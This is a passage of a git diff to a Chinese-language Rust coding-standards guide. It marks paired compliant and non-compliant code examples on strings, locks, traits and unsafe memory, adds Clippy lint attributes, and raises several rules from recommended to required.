b/src/safe-guides/coding_practice/statics/G.STV.01.md index 3a0b3b39..1b3791ed 100644 --- a/src/safe-guides/coding_practice/statics/G.STV.01.md +++ b/src/safe-guides/coding_practice/statics/G.STV.01.md @@ -5,11 +5,12 @@ **【描述】** -对可变静态变量直接进行全局修改是 Unsafe 的。在多线程应用中,修改静态变量会导致数据争用(data race),此未定义行为目前并不会被 Clippy 或 Rustc 检测出。 +对可变静态变量直接进行全局修改是 Unsafe 的。在多线程应用中,修改静态变量会导致数据竞争(data race)。 **【反例】** ```rust +// 不符合 static mut NUM_OF_APPLES: usize = 0; unsafe fn buy_apples(count: usize) { @@ -23,11 +24,22 @@ unsafe fn eat_apple() { **【正例】** +如果必须使用的话,可以通过 `thread_local!`宏在本地线程中使用内部可变性容器: + +```rust +thread_local!{ + // 符合 + static NEXT_USER_ID: Cell = Cell::new(0); +} +``` + 若需要变更的值的类型为整数或布尔时,可直接使用 atomic。 ```rust use std::sync::atomic::{AtomicUsize, Ordering::SeqCst}; + +// 符合 static NUM_OF_APPLES: AtomicUsize = AtomicUsize::new(0); fn buy_apple(count: usize) { @@ -39,7 +51,7 @@ fn eat_apple() { } ``` -**【正例】** +补充说明: 若需修改整数或布尔之外的数据类型时,可考虑使用 Mutex 或 Rwlock 配合 once_cell 对全局变量进行变更。 @@ -106,8 +118,6 @@ fn main() { } ``` -**【例外】** - 通常情况下直接修改 static mut 会有线程安全风险,但若配合使用 [std::sync::Once](https://doc.rust-lang.org/std/sync/struct.Once.html#) 则可保证该变量只初始化一次,不会产生线程安全风险。 (注:此用法在功能上等同于 [once_cell::sync::OnceCell](https://docs.rs/once_cell/latest/once_cell/sync/struct.OnceCell.html) 或 Nightly 版本中的 [std::lazy::SyncOnceCell](https://doc.rust-lang.org/std/lazy/struct.SyncOnceCell.html)。但在使用 Stable 版本编译器并且不使用第三方库的条件下此写法完全合规,故算作例外情况。) diff --git a/src/safe-guides/coding_practice/strings/G.STR.01.md b/src/safe-guides/coding_practice/strings/G.STR.01.md index 7ee0ad39..c90d989b 100644 --- a/src/safe-guides/coding_practice/strings/G.STR.01.md +++ b/src/safe-guides/coding_practice/strings/G.STR.01.md @@ -1,6 +1,6 @@ -## G.STR.01 在实现`Display`特质时不应调用`to_string()`方法 +## G.STR.01 在实现`Display`特质时不应调用`to_string()`方法 -**【级别】** 建议 +**【级别】** 要求 **【描述】** @@ -14,7 +14,7 @@ use std::fmt; struct Structure(i32); impl fmt::Display for Structure { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { - write!(f, "{}", self.to_string()) + write!(f, "{}", self.to_string()) // 不符合 } } ``` @@ -27,7 +27,7 @@ use std::fmt; struct Structure(i32); impl fmt::Display for Structure { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { - write!(f, "{}", self.0) + write!(f, "{}", self.0) // 符合 } } ``` diff --git a/src/safe-guides/coding_practice/strings/G.STR.02.md b/src/safe-guides/coding_practice/strings/G.STR.02.md index 678e8152..56847be8 100644 --- a/src/safe-guides/coding_practice/strings/G.STR.02.md +++ b/src/safe-guides/coding_practice/strings/G.STR.02.md @@ -1,4 +1,4 @@ -## G.STR.02 在追加字符串时使用`push_str`方法 +## G.STR.02 在追加字符串时使用`push_str`方法 **【级别】** 建议 @@ -9,18 +9,22 @@ **【反例】** ```rust +#![warn(clippy::string_add_assign, clippy::string_add)] + let mut x = "Hello".to_owned(); -x = x + ", World"; +x = x + ", World"; // 不符合 ``` **【正例】** ```rust +#![warn(clippy::string_add_assign, clippy::string_add)] + let mut x = "Hello".to_owned(); // More readable x += ", World"; -x.push_str(", World"); +x.push_str(", World"); // 符合 ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/strings/G.STR.03.md b/src/safe-guides/coding_practice/strings/G.STR.03.md index 489db6d5..6d1f60f5 100644 --- a/src/safe-guides/coding_practice/strings/G.STR.03.md +++ b/src/safe-guides/coding_practice/strings/G.STR.03.md @@ -11,12 +11,16 @@ **【反例】** ```rust +#![warn(clippy::string_lit_as_bytes)] +// 不符合 let bs = "a byte string".as_bytes(); ``` **【正例】** ```rust +#![warn(clippy::string_lit_as_bytes)] +// 符合 let bs = b"a byte string"; ``` diff --git a/src/safe-guides/coding_practice/strings/G.STR.04.md b/src/safe-guides/coding_practice/strings/G.STR.04.md index 688be52b..7d0485b7 100644 --- a/src/safe-guides/coding_practice/strings/G.STR.04.md +++ b/src/safe-guides/coding_practice/strings/G.STR.04.md @@ -12,9 +12,11 @@ Rust 语言核心库和标准库都对字符串内置了一些方便的方法来 ```rust let name = "_"; +// 不符合 name.chars().last() == Some('_') || name.chars().next_back() == Some('-'); let name = "foo"; +// 不符合 if name.chars().next() == Some('_') {}; ``` @@ -22,9 +24,11 @@ if name.chars().next() == Some('_') {}; ```rust let name = "_"; +// 符合 name.ends_with('_') || name.ends_with('-'); let name = "foo"; +// 符合 if name.starts_with('_') {}; ``` diff --git a/src/safe-guides/coding_practice/strings/G.STR.05.md b/src/safe-guides/coding_practice/strings/G.STR.05.md index 948bf4e2..f4a2669e 100644 --- a/src/safe-guides/coding_practice/strings/G.STR.05.md +++ b/src/safe-guides/coding_practice/strings/G.STR.05.md @@ -9,23 +9,35 @@ **【反例】** ```rust -let s = "Ölkanne"; -// thread 'main' panicked at 'byte index 1 is not a char boundary; -// it is inside 'Ö' (bytes 0..2) of `Ölkanne`' -let sub_s = &s[1..]; -// println!("{:?}", sub_s); +#![warn(clippy::string_slice)] + +fn main(){ + let s = "Ölkanne"; + // 不符合 + // 字节索引 1 不是字符的边界,所以程序会 panic + // `Ölkanne` 的 'Ö' 是 字节 `0..2` + let sub_s = &s[1..]; + // println!("{:?}", sub_s); +} + ``` **【正例】** ```rust -let s = "Ölkanne"; -let mut char_indices = s.char_indices(); -assert_eq!(Some((0, 'Ö')), char_indices.next()); -// assert_eq!(Some((2, 'l')), char_indices.next()); -let pos = if let Some((pos, _)) = char_indices.next(){ pos } else {0}; -let sub_s = &s[pos..]; -assert_eq!("lkanne", sub_s); +#![allow(clippy::string_slice)] + +fn main(){ + let s = "Ölkanne"; + let mut char_indices = s.char_indices(); + assert_eq!(Some((0, 'Ö')), char_indices.next()); + // assert_eq!(Some((2, 'l')), char_indices.next()); + let pos = if let Some((pos, _)) = char_indices.next(){ pos } else {0}; + // 符合:计算出了正确的字符位置 + // 注意,这里 lint 检查工具可能误报,但这里是合法的,所以将lint设置为 allow + let sub_s = &s[pos..]; + assert_eq!("lkanne", sub_s); +} ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.01.md b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.01.md index 07313a47..5aad4c85 100644 --- a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.01.md +++ b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.01.md @@ -9,12 +9,14 @@ **【反例】** ```rust +// 不符合 let x = Mutex::new(&y); ``` **【正例】** ```rust +// 符合 let x = AtomicBool::new(y); ``` diff --git a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md index 23876b34..2f6bcd15 100644 --- a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md +++ b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.02.md @@ -19,17 +19,15 @@ use std::sync::Arc; fn main() { let a = "hello world".to_string(); - let b: Rc = Rc::from(a); + let b: Rc = Rc::from(a); // 不符合 println!("{}", b); - // or equivalently: let a = "hello world".to_string(); - let b: Rc = a.into(); + let b: Rc = a.into(); // 不符合 println!("{}", b); - // we can also do this for Arc, let a = "hello world".to_string(); - let b: Arc = Arc::from(a); + let b: Arc = Arc::from(a); // 不符合 println!("{}", b); } ``` @@ -42,20 +40,33 @@ use std::sync::Arc; fn main() { let a: &str = "hello world"; - let b: Rc = Rc::from(a); + let b: Rc = Rc::from(a); // 符合 println!("{}", b); - // or equivalently: - let b: Rc = a.into(); + let b: Rc = a.into(); // 符合 println!("{}", b); - // we can also do this for Arc, let a: &str = "hello world"; - let b: Arc = Arc::from(a); + let b: Arc = Arc::from(a); // 符合 println!("{}", b); } ``` +**【例外】** + +参考:[https://github.com/rust-lang/rust-clippy/pull/6044#issuecomment-699565080](https://github.com/rust-lang/rust-clippy/pull/6044#issuecomment-699565080) + +```rust +// From: https://github.com/Fishrock123/surf/blob/master/src/client.rs#L33 + +pub struct Client { + http_client: Arc, + /// Holds the middleware stack. + // 业务上必须要求持有一个 Vec 才能保证用户正常添加中间件 + middleware: Arc>>, +} +``` + **【Lint 检测】** | lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | level | diff --git a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.03.md b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.03.md index 8077b8d9..71547587 100644 --- a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.03.md +++ b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.03.md @@ -11,6 +11,7 @@ 来源于 [std标准库文档](https://doc.rust-lang.org/std/sync/struct.Mutex.html) ```rust +// 不符合 use std::sync::{Arc, Mutex}; use std::thread; use std::sync::mpsc::channel; @@ -41,6 +42,7 @@ rx.recv().unwrap(); 相比`std::sync::Mutex`,使用 `parking_lot::Mutex` 能实现'无中毒',锁在 panic 时正常释放,更少的空间占用等优势。 ```rust +// 符合 use parking_lot::Mutex; use std::sync::{Arc, mpsc::channel}; use std::thread; @@ -62,13 +64,4 @@ for _ in 0..10 { } rx.recv().unwrap(); -``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ------------------------------------------------------------ | ------------- | ------------ | ----------- | ----- | -| _ | no | no | _ | yes | - -**【定制化参考】** -这条规则如果需要定制 Lint,则可以扫描 `std::sync` 锁同步原语的使用,推荐优先选择 crate `parking_lot` 中对应的同步原语。 +``` \ No newline at end of file diff --git a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.04.md b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.04.md index 842b9f4b..a2e4aaba 100644 --- a/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.04.md +++ b/src/safe-guides/coding_practice/threads/lock/G.MTH.LCK.04.md @@ -12,7 +12,7 @@ ```rust use std::thread; -use std::sync::mpsc::channel; +use std::sync::mpsc::channel; // 不符合 let (tx, rx) = channel(); @@ -32,7 +32,7 @@ for _ in 0..10 { **【正例】** ```rust -use crossbeam_channel::unbounded; +use crossbeam_channel::unbounded; // 符合 let (tx, rx) = unbounded(); @@ -48,12 +48,3 @@ for _ in 0..10 { assert!(0 <= j && j < 10); } ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ------------------------------------------------------------ | ------------- | ------------ | ----------- | ----- | -| _ | no | no | _ | yes | - -**【定制化参考】** -这条规则如果需要定制 Lint,则可以扫描对 `std::sync::mpsc::channel` 的使用,推荐优先选择 crate `crossbeam`。 diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.01.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.01.md index ca271374..230f372b 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.01.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.01.md @@ -9,12 +9,17 @@ **【反例】** ```rust +#![warn(clippy::default_trait_access)] +// 不符合 let s: String = Default::default(); ``` **【正例】** ```rust +#![warn(clippy::default_trait_access)] + +// 符合 let s = String::default(); ``` diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.02.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.02.md index 769e5dd0..227bd989 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.02.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.02.md @@ -1,4 +1,4 @@ -## G.TRA.BLN.02 不要为迭代器实现`Copy` 特质 +## G.TRA.BLN.02 不要为迭代器实现`Copy` 特质 **【级别】** 要求 @@ -11,6 +11,8 @@ **【反例】** ```rust +#![warn(clippy::copy_iterator)] + use std::marker::PhantomData; #[derive(Debug)] @@ -31,7 +33,7 @@ impl ABC { } -// 这里为迭代器 ABCIterMut<'a> 实现 Copy +// 不符合:这里为迭代器 ABCIterMut<'a> 实现 Copy #[derive(Copy, Clone)] struct ABCIterMut<'a> { abc: *mut ABC, @@ -84,6 +86,8 @@ fn main(){ ```rust +#![warn(clippy::copy_iterator)] + use std::marker::PhantomData; #[derive(Debug)] @@ -104,7 +108,7 @@ impl ABC { } -// 不实现 Copy +// 符合:不实现 Copy // 在需要的时候只实现 Clone #[derive(Clone)] struct ABCIterMut<'a> { diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.03.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.03.md index 147b5243..ff52c0bb 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.03.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.03.md @@ -12,7 +12,7 @@ struct Foo { bar: bool } - +// 不符合 impl std::default::Default for Foo { fn default() -> Self { Self { @@ -25,6 +25,7 @@ impl std::default::Default for Foo { **【正例】** ```rust +// 符合 #[derive(Default)] struct Foo { bar: bool diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.04.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.04.md index ea18f447..1aaa4faa 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.04.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.04.md @@ -1,6 +1,6 @@ ## G.TRA.BLN.04 在使用`#[derive(Hash)]` 的时候,避免再手工实现 `PartialEq` -**【级别】** 建议 +**【级别】** 要求 **【描述】** @@ -21,7 +21,7 @@ k1 == k2 -> hash(k1) == hash(k2) ```rust #[derive(Hash)] struct Foo; - +// 不符合 impl PartialEq for Foo { ... } @@ -30,6 +30,7 @@ impl PartialEq for Foo { **【正例】** ```rust +// 符合 #[derive(PartialEq, Eq, Hash)] struct Foo; ``` diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.05.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.05.md index ce62dd83..1d106039 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.05.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.05.md @@ -1,6 +1,6 @@ ## G.TRA.BLN.05 在使用`#[derive(Ord)]` 的时候,避免再手工实现 `PartialOrd` -**【级别】** 建议 +**【级别】** 要求 **【描述】** @@ -21,7 +21,7 @@ k1.cmp(&k2) == k1.partial_cmp(&k2).unwrap() ```rust #[derive(Ord, PartialEq, Eq)] struct Foo; - +// 不符合 impl PartialOrd for Foo { ... } @@ -30,11 +30,11 @@ impl PartialOrd for Foo { **【正例】** ```rust +// 符合 #[derive(Ord, PartialOrd, PartialEq, Eq)] struct Foo; -// or - +// 符合 #[derive(PartialEq, Eq)] struct Foo; diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.06.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.06.md index d5694256..70afeb0a 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.06.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.06.md @@ -1,6 +1,6 @@ -## G.TRA.BLN.06 不要对实现 `Copy` 或引用类型调用 `std::mem::drop` 和 `std::mem::forgot` +## G.TRA.BLN.06 不要对实现 `Copy` 或引用类型调用 `std::mem::drop` 和 `std::mem::forgot` -**【级别】** 建议 +**【级别】** 要求 **【描述】** @@ -15,6 +15,7 @@ **【反例】** ```rust +// 不符合 let x: i32 = 42; // i32 implements Copy std::mem::drop(x) // A copy of x is passed to the function, leaving the // original unaffected @@ -36,7 +37,7 @@ pub fn format(&mut self) -> String { } let this = std::mem::take(self); self.consumed = true; - drop(self); // Get rid of the self reference so we don't use it by mistake. + drop(self); // 显式 drop self,避免后面误用它 // ... } ``` diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.07.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.07.md index 02c1ff48..23ef4dff 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.07.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.07.md @@ -9,16 +9,19 @@ **【反例】** ```rust -let a = [1, 2, 3]; +#![warn(clippy::cloned_instead_of_copied)] +let a = [1, 2, 3]; +// 不符合 let v_copied: Vec<_> = a.iter().cloned().collect(); ``` **【正例】** ```rust +#![warn(clippy::cloned_instead_of_copied)] let a = [1, 2, 3]; - +// 符合 let v_copied: Vec<_> = a.iter().copied().collect(); ``` diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.08.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.08.md index 086cfe19..f6f1edfd 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.08.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.08.md @@ -14,7 +14,7 @@ ```rust struct StringWrapper(String); - +// 不符合 impl Into for String { fn into(self) -> StringWrapper { StringWrapper(self) @@ -26,7 +26,7 @@ impl Into for String { ```rust struct StringWrapper(String); - +// 符合 impl From for StringWrapper { fn from(s: String) -> StringWrapper { StringWrapper(s) diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.09.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.09.md index aecce13b..d7cf8ccf 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.09.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.09.md @@ -9,9 +9,11 @@ **【反例】** ```rust +#![warn(clippy::expl_impl_clone_on_copy)] + #[derive(Copy)] struct Foo; - +// 不符合 impl Clone for Foo { // .. } @@ -20,6 +22,9 @@ impl Clone for Foo { **【正例】** ```rust +#![warn(clippy::expl_impl_clone_on_copy)] + +// 符合 #[derive(Copy, Clone)] struct Foo; ``` diff --git a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.10.md b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.10.md index 899e4d56..467b2d77 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.10.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/G.TRA.BLN.10.md @@ -1,4 +1,4 @@ -## P.TRA.BLN.01 不要随便使用`Deref`特质来模拟继承 +## G.TRA.BLN.10 不要随便使用`Deref`特质来模拟继承 **【级别】** 建议 @@ -39,9 +39,3 @@ fn main() { } ``` - -**【Lint 检测】** - -| lint name | Clippy 可检测 | Rustc 可检测 | Lint Group | 是否可定制 | -| ------------------------------------------------------------ | ------------- | ------------ | ---------- | ----- | -| - | no | no | - | yes | diff --git a/src/safe-guides/coding_practice/traits/std-builtin/P.TRA.BLN.01.md b/src/safe-guides/coding_practice/traits/std-builtin/P.TRA.BLN.01.md index 17bdf8eb..776672ae 100644 --- a/src/safe-guides/coding_practice/traits/std-builtin/P.TRA.BLN.01.md +++ b/src/safe-guides/coding_practice/traits/std-builtin/P.TRA.BLN.01.md @@ -6,7 +6,7 @@ 但是使用 `Borrow` 的时候,需要注意一致性问题。具体请看示例。 -【正例】 +**【反例】** ```rust // 这个结构体能不能作为 HashMap 的 key? @@ -27,7 +27,7 @@ impl Eq for CaseInsensitiveString { } impl Hash for CaseInsensitiveString { fn hash(&self, state: &mut H) { for c in self.0.as_bytes() { - // 没有忽略大小写 + // 不符合:没有忽略大小写 c.to_ascii_lowercase().hash(state) } } diff --git a/src/safe-guides/coding_practice/unsafe_rust/mem/G.UNS.MEM.01.md b/src/safe-guides/coding_practice/unsafe_rust/mem/G.UNS.MEM.01.md index 3a9383dd..fe5f2567 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/mem/G.UNS.MEM.01.md +++ b/src/safe-guides/coding_practice/unsafe_rust/mem/G.UNS.MEM.01.md @@ -1,6 +1,6 @@ ## G.UNS.MEM.01 使用 `MaybeUninit` 来处理未初始化的内存 -**【级别】** 建议 +**【级别】** 要求 **【描述】** @@ -17,21 +17,22 @@ 由调用者来保证`MaybeUninit`确实处于初始化状态。当内存尚未完全初始化时调用 `assume_init()` 会导致立即未定义的行为。 ```rust + use std::mem::{self, MaybeUninit}; -// 零初始化引用 +// 不符合:零初始化引用 let x: &i32 = unsafe { mem::zeroed() }; // undefined behavior! ⚠️ -// The equivalent code with `MaybeUninit<&i32>`: +// 等价于 `MaybeUninit<&i32>`: let x: &i32 = unsafe { MaybeUninit::zeroed().assume_init() }; // undefined behavior! -// 布尔值必须初始化 +// 不符合:布尔值必须初始化 let b: bool = unsafe { mem::uninitialized() }; // undefined behavior! ⚠️ -// The equivalent code with `MaybeUninit`: +// 等价于 `MaybeUninit`: let b: bool = unsafe { MaybeUninit::uninit().assume_init() }; // undefined behavior! -// 整数类型也必须初始化 +// 不符合:整数类型也必须初始化 let x: i32 = unsafe { mem::uninitialized() }; // undefined behavior! ⚠️ -// The equivalent code with `MaybeUninit`: +// 等价于 `MaybeUninit`: let x: i32 = unsafe { MaybeUninit::uninit().assume_init() }; -// Vec未初始化内存使用 set_len 是未定义行为 +// 不符合:Vec未初始化内存使用 set_len 是未定义行为 let mut vec: Vec = Vec::with_capacity(1000); unsafe { vec.set_len(1000); } reader.read(&mut vec); // undefined behavior! @@ -43,22 +44,22 @@ reader.read(&mut vec); // undefined behavior! use std::mem::MaybeUninit; let mut x = MaybeUninit::::uninit(); -x.write(true); // 这里正确进行了初始化 +x.write(true); // 符合:这里正确进行了初始化 let x_init = unsafe { x.assume_init() }; // 通过 assume_init 对 MaybeUninit 的内存取值 assert_eq!(x_init, true); -// 下面数组应该是可以的 +// 符合:下面数组应该是可以的 let _: [MaybeUninit; 5] = unsafe { MaybeUninit::uninit().assume_init() }; -// Vec 未初始化内存正确处理 +// 符合:Vec 未初始化内存正确处理 let mut vec: Vec = vec![0; 1000]; reader.read(&mut vec); -// or +// 符合 let mut vec: Vec> = Vec::with_capacity(1000); vec.set_len(1000); // `MaybeUninit` can be uninitialized -// or +// 符合: let mut vec: Vec = Vec::with_capacity(1000); let remaining = vec.spare_capacity_mut(); // `&mut [MaybeUninit]` // perform initialization with `remaining` diff --git a/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md b/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md index 7c88c54c..e9c07db8 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md +++ b/src/safe-guides/coding_practice/unsafe_rust/mem/P.UNS.MEM.03.md @@ -2,13 +2,13 @@ **【描述】** -使用 String/Vec 指向其它进程/动态库的内存数据时,一定要手动禁止 String/Vec 的 Drop 方法(析构函数)的调用,避免 free 其它进程/动态库的内存数据。 +使用 `String/Vec` 指向其它进程/动态库的内存数据时,一定要手动禁止 `String/Vec` 的 Drop 方法(析构函数)的调用,避免 free 其它进程/动态库的内存数据。 **【反例】** `sqlite3_libversion()` 返回的 sqlite 版本信息指针指向 `/usr/lib/libsqlite3.so` 动态库的 static 字符串。 -当进程在 String drop 的时候尝试释放 sqlite 动态库的静态字符串内存时,操作系统就会发送 SIGABRT 信号终止进程,以保证 sqlite 动态库的内存数据安全。 +当进程在 `String` drop 的时候尝试释放 sqlite 动态库的静态字符串内存时,操作系统就会发送 SIGABRT 信号终止进程,以保证 sqlite 动态库的内存数据安全。 ```rust #[link(name = "sqlite3")] @@ -29,7 +29,7 @@ fn print_sqlite_version() { **【正例】** -除了用 mem::forget 或者 ManualDrop 禁止 String drop 其它动态库的内存,也可以用标准库 ptr/slice 的 copy 或者 `libc::strdup` 将 sqlite 的版本信息字符串**复制到当前进程的内存空间**再进行操作 +除了用 `mem::forget` 或者 `ManualDrop` 禁止 `String` drop 其它动态库的内存,也可以用标准库 `ptr/slice` 的 `copy` 或者 `libc::strdup` 将 sqlite 的版本信息字符串**复制到当前进程的内存空间**再进行操作 ```rust fn print_sqlite_version() { diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.01.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.01.md index b7fb12ff..3d454179 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.01.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.01.md @@ -10,11 +10,12 @@ ```rust fn main() { - let a = (&1u8 as *const u8) as *const u16; - let b = (&mut 1u8 as *mut u8) as *mut u16; + let a = (&1u8 as *const u8) as *const u16; // 不符合 + let b = (&mut 1u8 as *mut u8) as *mut u16; // 不符合 - let c = (&1u8 as *const u8).cast::(); + let c = (&1u8 as *const u8).cast::(); // 不符合 + // Undefined Behavior: dereferencing pointer failed: alloc1411 has size 1, so pointer to 2 bytes starting at offset 0 is out-of-bounds unsafe { *a }; // Undefined Behavior: dereferencing pointer failed: alloc1411 has size 1, so pointer to 2 bytes starting at offset 0 is out-of-bounds @@ -29,11 +30,12 @@ fn main() { ```rust fn main() { - let a = (&1u8 as *const u8) as *const u8; - let b = (&mut 1u8 as *mut u8) as *mut u8; + let a = (&1u8 as *const u8) as *const u8; // 符合 + let b = (&mut 1u8 as *mut u8) as *mut u8; // 符合 - let c = (&1u8 as *const u8).cast::(); + let c = (&1u8 as *const u8).cast::(); // 符合 + // safe unsafe { *a }; // safe diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.02.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.02.md index 239c821d..f0c3134e 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.02.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.02.md @@ -1,6 +1,6 @@ ## G.UNS.PTR.02 禁止将不可变指针手工转换为可变指针 -**【级别】** 建议 +**【级别】** 要求 **【描述】** @@ -11,7 +11,7 @@ ```rust fn x(r: &i32) { unsafe { - *(r as *const _ as *mut _) += 1; + *(r as *const _ as *mut _) += 1; // 不符合 } } ``` @@ -21,9 +21,10 @@ fn x(r: &i32) { ```rust use std::cell::UnsafeCell; +// 符合 fn x(r: &UnsafeCell) { unsafe { - *r.get() += 1; + *r.get() += 1; } } ``` diff --git a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.03.md b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.03.md index 8ba8a1b2..a75bb72b 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.03.md +++ b/src/safe-guides/coding_practice/unsafe_rust/raw_ptr/G.UNS.PTR.03.md @@ -1,6 +1,6 @@ ## G.UNS.PTR.03 尽量使用 `pointer::cast` 来代替 使用 `as` 强转指针 -**【级别】** 建议 +**【级别】** 要求 **【描述】** @@ -11,8 +11,8 @@ ```rust let ptr: *const u32 = &42_u32; let mut_ptr: *mut u32 = &mut 42_u32; -let _ = ptr as *const i32; -let _ = mut_ptr as *mut i32; +let _ = ptr as *const i32; // 不符合 +let _ = mut_ptr as *mut i32; // 不符合 ``` **【正例】** @@ -20,8 +20,8 @@ let _ = mut_ptr as *mut i32; ```rust let ptr: *const u32 = &42_u32; let mut_ptr: *mut u32 = &mut 42_u32; -let _ = ptr.cast::(); -let _ = mut_ptr.cast::(); +let _ = ptr.cast::(); // 符合 +let _ = mut_ptr.cast::(); // 符合 ``` **【Lint 检测】** diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.01.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.01.md index 0bf82141..2c9099aa 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.01.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.01.md @@ -11,6 +11,7 @@ **【反例】** ```rust + // 不符合 /// Creates a `Vec` directly from the raw components of another vector. pub unsafe fn from_raw_parts(ptr: *mut T, length: usize, capacity: usize) -> Self { unsafe { Self::from_raw_parts_in(ptr, length, capacity, Global) } @@ -22,6 +23,7 @@ 示例来自于标准库文档: [https://doc.rust-lang.org/stable/src/alloc/vec/mod.rs.html#1167](https://doc.rust-lang.org/stable/src/alloc/vec/mod.rs.html#1167) ```rust + // 符合 /// Creates a `Vec` directly from the raw components of another vector. /// /// # Safety diff --git a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md index c3059689..25da1da9 100644 --- a/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md +++ b/src/safe-guides/coding_practice/unsafe_rust/safe_abstract/G.UNS.SAS.02.md @@ -11,6 +11,8 @@ **【反例】** ```rust + #![warn(clippy::debug_assert_with_mut_call)] + // 不符合 // 使用了 debug_assert! 那就说明这个校验在 Release 模式不一定有效 // 那么该函数就要被标记为 unsafe pub unsafe fn split_at_mut(&mut self, mid: usize) -> (&mut [T], &mut [T]) { @@ -20,7 +22,7 @@ unsafe { self.split_at_mut_unchecked(mid) } } - // or + // 不符合 // 在 